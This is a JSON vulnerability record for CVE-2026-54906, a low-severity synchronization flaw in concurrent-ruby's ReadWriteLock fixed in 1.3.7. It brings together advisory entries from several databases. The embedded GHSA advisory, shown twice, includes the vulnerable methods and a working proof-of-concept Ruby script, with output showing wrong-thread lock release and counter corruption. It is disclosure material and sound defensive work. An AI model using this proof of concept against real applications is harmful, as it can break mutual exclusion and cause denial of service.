{"id":"CVE-2026-54906","aliases":["AZL-91287","DEBIAN-CVE-2026-54906","EUVD-2026-38811","GHSA-6wx8-w4f5-wwcr","UBUNTU-CVE-2026-54906"],"status":"published","title":"concurrent-ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","severity":{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0016,"percentile":0.05286,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-414","CWE-667"],"published":"2026-06-19T20:47:41Z","modified":"2026-10-28T02:31:10Z","fixes":[{"ecosystem":"RubyGems","package":"concurrent-ruby","fixed_in":["1.3.7"],"sources":["ghsa","osv"]},{"ecosystem":"Azure Linux:3","package":"rubygem-concurrent-ruby","fixed_in":["1.3.7-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"ruby-concurrent","fixed_in":["1.3.7-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"rubygem-concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7-1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-5","1.2.3-1","1.2.3-2","1.2.3-3","1.2.3-4","1.3.4-1","1.3.4-1~exp1","1.3.5-1","1.3.6-1","1.3.7-1","1.3.7-2","1.3.7-3","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.5-1","1.3.6-1","1.3.7-1","1.3.7-2","1.3.7-3","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7-1"}]}],"versions":["1.3.5-1","1.3.6-1"]},{"source":"osv","ecosystem":"RubyGems","package":"concurrent-ruby","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.7"}]}],"versions":["0.0.1","0.1.0","0.1.1","0.1.1.pre.1","0.1.1.pre.2","0.1.1.pre.3","0.1.1.pre.4","0.1.1.pre.5","0.2.0","0.2.1","0.2.2","0.3.0","0.3.0.pre.1","0.3.0.pre.2","0.3.0.pre.3","0.3.1","0.3.1.pre.1","0.3.1.pre.2","0.3.2","0.4.0","0.4.1","0.5.0","0.5.0.pre.1","0.6.0","0.6.0.pre.1","0.6.0.pre.2","0.6.1","0.7.0","0.7.0.rc0","0.7.0.rc1","0.7.0.rc2","0.7.1","0.7.2","0.8.0","0.8.0.pre1","0.8.0.pre2","0.9.0","0.9.0.pre2","0.9.0.pre3","0.9.1","0.9.2","1.0.0","1.0.0.pre1","1.0.0.pre2","1.0.0.pre3","1.0.0.pre4","1.0.0.pre5","1.0.1","1.0.2","1.0.3","1.0.3.pre3","1.0.4","1.0.5","1.1.0.pre1","1.1.0.pre2","1.1.1","1.1.10","1.1.2","1.1.3","1.1.4","1.1.5","1.1.6","1.1.6.pre1","1.1.7","1.1.8","1.1.9","1.2.0","1.2.1","1.2.2","1.2.3","1.3.1","1.3.1.pre","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.5-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.5-3","1.0.5-4","1.1.6+dfsg-2","1.1.6+dfsg-3"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-3","1.1.6+dfsg-3build1","1.1.6+dfsg-4"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.6+dfsg-5build2","1.1.6+dfsg-5build3","1.2.3-2build1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.4-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.6-1","1.3.7-4","1.3.8-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-concurrent","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.3.4-1","1.3.6-1"]}],"products":[{"vendor":"ruby-concurrency","product":"concurrent-ruby"},{"vendor":"rubyconcurrency","product":"concurrent_ruby"}],"references":[{"url":"https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-6wx8-w4f5-wwcr","tags":["x_refsource_CONFIRM","exploit","Third Party Advisory","advisory","web","report"]},{"url":"https://github.com/advisories/GHSA-6wx8-w4f5-wwcr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54906","tags":["web","advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54906.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-54906","tags":["advisory"]},{"url":"https://github.com/ruby-concurrency/concurrent-ruby","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-54906","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-54906","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-54906","title":"concurrent-ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:46:01.116Z","modified":"2026-06-24T17:57:07.65Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low","assessor":"cna"}],"cwes":["CWE-414","CWE-667"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-38811","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:46:01Z","modified":"2026-06-24T17:57:07Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"updated_at":"2026-11-02T18:20:30.242414Z"}],"ghsa":[{"id":"GHSA-6wx8-w4f5-wwcr","title":"Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption","description":"### Summary\n`Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.\n\n`Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`.\n\nThis is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.\n\n###  Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\n`release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:\n\n```ruby\ndef release_write_lock\n  return true unless running_writer?\n  c = @Counter.update { |counter| counter - RUNNING_WRITER }\n  @ReadLock.broadcast\n  @WriteLock.signal if waiting_writers(c) \u003e 0\n  true\nend\n```\n\nBecause ownership is not checked, a different thread can clear the `RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.\n\n`release_read_lock` unconditionally decrements the shared counter:\n\n```ruby\ndef release_read_lock\n  while true\n    c = @Counter.value\n    if @Counter.compare_and_set(c, c-1)\n      if waiting_writer?(c) \u0026\u0026 running_readers(c) == 1\n        @WriteLock.signal\n      end\n      break\n    end\n  end\n  true\nend\n```\n\nOn a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated.\n\n# Reproduce\n\nFrom the root of a `concurrent-ruby` checkout, run:\n\n```bash\nruby -Ilib/concurrent-ruby - \u003c\u003c'RUBY'\nrequire 'concurrent/atomic/read_write_lock'\nrequire 'concurrent/version'\nrequire 'thread'\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReadWriteLock release methods corrupt or bypass lock state\"\n\nlock = Concurrent::ReadWriteLock.new\nevents = Queue.new\nwriter1_inside = false\n\nwriter1 = Thread.new do\n  lock.acquire_write_lock\n  writer1_inside = true\n  events \u003c\u003c :writer1_acquired\n  sleep 0.5\n  writer1_inside = false\n  lock.release_write_lock\n  events \u003c\u003c :writer1_finished\nend\n\nevents.pop\nputs 'writer1_acquired=true'\n\nintruder_result = nil\nintruder = Thread.new do\n  intruder_result = lock.release_write_lock\nend\nintruder.join\n\nputs \"wrong_thread_release_write_lock_returned=#{intruder_result}\"\n\nwriter2_entered_while_writer1_inside = nil\nwriter2 = Thread.new do\n  lock.acquire_write_lock\n  writer2_entered_while_writer1_inside = writer1_inside\n  lock.release_write_lock\nend\n\nwriter2.join(0.25)\n\nputs \"writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}\"\n\nwriter1.join\n\nlock2 = Concurrent::ReadWriteLock.new\nstray_read_release_result = lock2.release_read_lock\ncounter_after_stray_read_release = lock2.instance_eval { @Counter.value }\nread_after_stray_release = begin\n  lock2.acquire_read_lock\n  'acquired'\nrescue =\u003e error\n  \"#{error.class}: #{error.message}\"\nend\n\nputs \"stray_release_read_lock_returned=#{stray_read_release_result}\"\nputs \"counter_after_stray_read_release=#{counter_after_stray_read_release}\"\nputs \"acquire_read_after_stray_release=#{read_after_stray_release}\"\n\nif intruder_result \u0026\u0026 writer2_entered_while_writer1_inside \u0026\u0026 counter_after_stray_read_release == -1\n  puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n```\nExpected result:\n\n- A second thread successfully calls `release_write_lock` while the first writer still holds the lock.\n- A second writer enters while the first writer is still inside the write critical section.\n- Calling `release_read_lock` on a fresh lock changes the counter to `-1`.\n- A subsequent read acquisition fails with `Concurrent::ResourceLimitError`.\n\n### Log evidence\n\nLocal reproduction output:\n\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReadWriteLock release methods corrupt or bypass lock state\nwriter1_acquired=true\nwrong_thread_release_write_lock_returned=true\nwriter2_acquired_while_writer1_inside=true\nstray_release_read_lock_returned=true\ncounter_after_stray_read_release=-1\nacquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads\nresult=REPRODUCED wrong-thread write release and stray read-release corruption\n```\n\n### Impact\nThis can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.\nThe impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-06-19T20:47:41Z","modified":"2026-06-19T20:47:42Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-414","CWE-667"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-54906","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29.55Z","modified":"2026-10-25T22:10:00.15Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"low","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-414","CWE-667"],"updated_at":"2026-11-02T14:12:25.67873Z"}],"osv":[{"id":"CVE-2026-54906","title":"concurrent-ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T15:46:01.116Z","modified":"2026-10-28T02:31:10.52396419Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-414","CWE-667"],"updated_at":"2026-11-02T15:45:10.818486Z"},{"id":"DEBIAN-CVE-2026-54906","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29.55Z","modified":"2026-10-26T11:47:39.354674812Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-6wx8-w4f5-wwcr","title":"Concurrent Ruby: ReadWriteLock allows wrong-thread write release and stray read-release counter corruption","description":"### Summary\n`Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.\n\n`Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`.\n\nThis is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.\n\n###  Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\n`release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:\n\n```ruby\ndef release_write_lock\n  return true unless running_writer?\n  c = @Counter.update { |counter| counter - RUNNING_WRITER }\n  @ReadLock.broadcast\n  @WriteLock.signal if waiting_writers(c) \u003e 0\n  true\nend\n```\n\nBecause ownership is not checked, a different thread can clear the `RUNNING_WRITER` bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.\n\n`release_read_lock` unconditionally decrements the shared counter:\n\n```ruby\ndef release_read_lock\n  while true\n    c = @Counter.value\n    if @Counter.compare_and_set(c, c-1)\n      if waiting_writer?(c) \u0026\u0026 running_readers(c) == 1\n        @WriteLock.signal\n      end\n      break\n    end\n  end\n  true\nend\n```\n\nOn a fresh lock, this changes the counter from `0` to `-1`. A later `acquire_read_lock` raises `Concurrent::ResourceLimitError` because the maximum-reader check masks the negative counter as saturated.\n\n# Reproduce\n\nFrom the root of a `concurrent-ruby` checkout, run:\n\n```bash\nruby -Ilib/concurrent-ruby - \u003c\u003c'RUBY'\nrequire 'concurrent/atomic/read_write_lock'\nrequire 'concurrent/version'\nrequire 'thread'\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReadWriteLock release methods corrupt or bypass lock state\"\n\nlock = Concurrent::ReadWriteLock.new\nevents = Queue.new\nwriter1_inside = false\n\nwriter1 = Thread.new do\n  lock.acquire_write_lock\n  writer1_inside = true\n  events \u003c\u003c :writer1_acquired\n  sleep 0.5\n  writer1_inside = false\n  lock.release_write_lock\n  events \u003c\u003c :writer1_finished\nend\n\nevents.pop\nputs 'writer1_acquired=true'\n\nintruder_result = nil\nintruder = Thread.new do\n  intruder_result = lock.release_write_lock\nend\nintruder.join\n\nputs \"wrong_thread_release_write_lock_returned=#{intruder_result}\"\n\nwriter2_entered_while_writer1_inside = nil\nwriter2 = Thread.new do\n  lock.acquire_write_lock\n  writer2_entered_while_writer1_inside = writer1_inside\n  lock.release_write_lock\nend\n\nwriter2.join(0.25)\n\nputs \"writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}\"\n\nwriter1.join\n\nlock2 = Concurrent::ReadWriteLock.new\nstray_read_release_result = lock2.release_read_lock\ncounter_after_stray_read_release = lock2.instance_eval { @Counter.value }\nread_after_stray_release = begin\n  lock2.acquire_read_lock\n  'acquired'\nrescue =\u003e error\n  \"#{error.class}: #{error.message}\"\nend\n\nputs \"stray_release_read_lock_returned=#{stray_read_release_result}\"\nputs \"counter_after_stray_read_release=#{counter_after_stray_read_release}\"\nputs \"acquire_read_after_stray_release=#{read_after_stray_release}\"\n\nif intruder_result \u0026\u0026 writer2_entered_while_writer1_inside \u0026\u0026 counter_after_stray_read_release == -1\n  puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n```\nExpected result:\n\n- A second thread successfully calls `release_write_lock` while the first writer still holds the lock.\n- A second writer enters while the first writer is still inside the write critical section.\n- Calling `release_read_lock` on a fresh lock changes the counter to `-1`.\n- A subsequent read acquisition fails with `Concurrent::ResourceLimitError`.\n\n### Log evidence\n\nLocal reproduction output:\n\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReadWriteLock release methods corrupt or bypass lock state\nwriter1_acquired=true\nwrong_thread_release_write_lock_returned=true\nwriter2_acquired_while_writer1_inside=true\nstray_release_read_lock_returned=true\ncounter_after_stray_read_release=-1\nacquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads\nresult=REPRODUCED wrong-thread write release and stray read-release corruption\n```\n\n### Impact\nThis can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.\nThe impact is local to applications that expose or misuse the manual `acquire_*` / `release_*` APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))","status":"published","published":"2026-06-19T20:47:41Z","modified":"2026-09-10T03:50:48.681965743Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-414","CWE-667"],"updated_at":"2026-11-02T15:46:40.308826Z"},{"id":"UBUNTU-CVE-2026-54906","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:00Z","modified":"2026-10-17T13:00:26.150492312Z","cvss":[{"version":"4.0","score":2.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","level":"low"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"AZL-91287","title":"CVE-2026-54906 affecting package rubygem-concurrent-ruby for versions less than 1.3.7-1","description":"concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running. Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError. This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. This vulnerability is fixed in 1.3.7.","status":"published","published":"2026-06-24T17:17:29Z","modified":"2026-08-28T17:56:29.614128Z","updated_at":"2026-11-02T15:28:11.397546Z"}]}}
